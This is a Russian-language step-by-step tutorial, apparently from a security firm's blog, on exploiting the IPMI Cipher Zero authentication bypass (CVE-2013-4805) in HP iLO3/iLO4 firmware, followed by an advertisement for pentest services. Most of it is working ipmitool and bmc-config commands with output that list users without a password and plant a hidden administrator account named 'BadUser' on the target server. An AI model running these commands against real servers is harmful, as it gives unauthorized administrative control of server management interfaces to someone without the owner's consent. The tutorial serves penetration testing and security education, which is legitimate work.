Получение доступа к iLO через уязвимость IPMI Cipher 0

Сегодня мы на практике воспользуемся уязвимостью в серверах HP.
Уязвимость называется IPMI Cipher Suite Zero Authentication Bypass (CVE-2013-4805) и дает возможность добавлений административного пользователя в iLO.
Уязвимость присутствует на серверах HP с Integrated Lights-Out 3 (iLO3) firmware версии до 1.60 и iLO4 firmware версии до 1.30.

Для Эксплуатации уязвимости будем использовать дистрибьютив Kali Linux.

Так уязвомость выглядит в сканере безопасности Nessus.

Сначала установим требуемые пакеты:
apt-get install ipmitool freeipmi

Теперь после этого попробуем подключиться к атакуемой системе и посмотреть на ней конфигурацию:
В дальнейшем будем считать, что 192.168.1.2 это адрес атакуемой системы.

ipmitool -I lanplus -C 0 -H 192.168.1.2 -U Administrator user list

-I выбор протокола. lanplus говорит, что мы используем протокол IPMI v2.0 RMCP+ LAN Interface
-C 0 говорит, что мы не будем использовать аутентификацию (Cipher 0)
-H указываем IP сервера.
192.168.1.2 — это IP атакуемой системы.
-U имя пользовтеля (в данном случае Administrator) обычно первый пользователь это Administrator, или смотрите что выдает сканер безопасности по данному вопросу
Так же можно указать пароль (хотя уязвимость основана на безпарольном доступе): -P YourPassword
-P говорит использовать пароль, а YourPassword это сам пароль.
Если мы не указали пароль, то утилита его запросит. Просто нажимаем Enter, чтобы подтвердить, что пробуем подключиться без пароля.

В случае успеха мы увидим список пользователей:
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
1 Administrator true false true ADMINISTRATOR
2 (Empty User) true false false NO ACCESS
3 (Empty User) true false false NO ACCESS
4 (Empty User) true false false NO ACCESS
5 (Empty User) true false false NO ACCESS
6 (Empty User) true false false NO ACCESS
7 (Empty User) true false false NO ACCESS
8 (Empty User) true false false NO ACCESS
9 (Empty User) true false false NO ACCESS
10 (Empty User) true false false NO ACCESS
11 (Empty User) true false false NO ACCESS
12 (Empty User) true false false NO ACCESS

Теперь загрузим текущую конфигурацию себе (на всякий случай):
bmc-config -D LAN_2_0 -I 0 -v -u Administrator -h 192.168.1.2 -o -f config.txt
-D выбор драйвера. Мы выбираем дравер LAN_2_0
-I 0 -выбираем без алгоритма аутентификации (Cipher 0)
-v выводим подробную информацию
-u имя пользователя (он все еще тот же: Administrator)
-p можно так же указать пароль. Но мы продолжаем без него. Хотя бы потому, что мы его не знаем.
-o получить конфигурацию.
-f сохранить конфигурацию. В файл config.txt

Загрузка конфигурации продлится некоторое время (2-5 минут).
Теперь в любом текстовом редакторе (vi, vim, nano) создадим файл с конфигурацией нового пользователя (назовем его useradd.txt):

И запишем в него следующую конфигурацию, которая добавит (или заменит) второго пользователя (User2):
Section User2
## Имя пользователя
Username BadUser
##Пароль. Максимум 16 символов(если поддерживается IPMI 2.0 то 20 символов).
##В теории можно оставить пустым.
Password GoodPassword1!
## Включаем пользователя (доступные значения Yes или No)
Enable_User Yes
## доступные значения: Yes/No
Lan_Enable_IPMI_Msgs Yes
## Доступные значения: Yes/No
Lan_Enable_Link_Auth Yes
## Доступные значения: Yes/No
Lan_Enable_Restricted_to_Callback No
## Устанавливаем нужные привелегии (в данном случае администратора)
##Callback/User/Operator/Administrator/OEM_Proprietary/No_Access
Lan_Privilege_Limit Administrator
## Лимиты сессий.Доступные значения: 0-17, 0 - не ограниченно;
## Сбрасываются на 0 если не указаны. Не указываем.
## Lan_Session_Limit
## Доступные значения: 0-17, 0 - не ограниченно;
## Сбрасываются на 0 если не указаны. Не указываем.
## Serial_Session_Limit
EndSection

Теперь загрузим новую конфигурацию:
bmc-config -D LAN_2_0 -I 0 -v -u Administrator -h 192.168.1.2 --commit -f useradd.txt
Флаги все те же, за исключением:
—commit загрузить конфигурацию на сервер.
useradd.txt ранее созданный файл с конфигурацией.

Если в ответ мы получим:
ERROR: Failed to commit `User2:Lan_Enable_Link_Auth': Invalid/Unsupported Config
или что все ОК, то атака удалась.

Теперь проверим есть ли у нас доступ:
ipmitool -I lanplus -C 0 -H 192.168.1.2 -U Administrator user list

На этот раз мы должны получить список из двух пользователей:

ID Name Callin Link Auth IPMI Msg Channel Priv Limit
1 Administrator true false true ADMINISTRATOR
2 BadUser true false true ADMINISTRATOR
3 (Empty User) true false false NO ACCESS
4 (Empty User) true false false NO ACCESS
5 (Empty User) true false false NO ACCESS
6 (Empty User) true false false NO ACCESS
7 (Empty User) true false false NO ACCESS
8 (Empty User) true false false NO ACCESS
9 (Empty User) true false false NO ACCESS
10 (Empty User) true false false NO ACCESS
11 (Empty User) true false false NO ACCESS
12 (Empty User) true false false NO ACCESS

Теперь можно подключаться через веб-интерфейс под новым пользователем.

P.S. Для удаления второго пользователя загружаем следующий конфиг:
Section User2
Username (Empty User)
Enable_User No
Lan_Enable_IPMI_Msgs No
Lan_Enable_Link_Auth No
Lan_Enable_Restricted_to_Callback No
Lan_Privilege_Limit No_Access
EndSection

Заказать Аудит Безопасности или Пентест Вашей IT-инфраструктуры

Быть уверенным в своей IT-инфраструктуре — это быть уверенным в завтрашнем дне.

Для того, чтобы сделать заказ:

Заполните форму обратной связи и мы обязательно с вам свяжемся:
Форма обратной связи
Позвоните нам по телефону:
+7(909)952-44-33
Напишите нам на электронную почту:
order@blackdiver.net
Напишите нам в Telegram:
Telegram
Другие способы связи Вы сможете найти в разделе Контакты.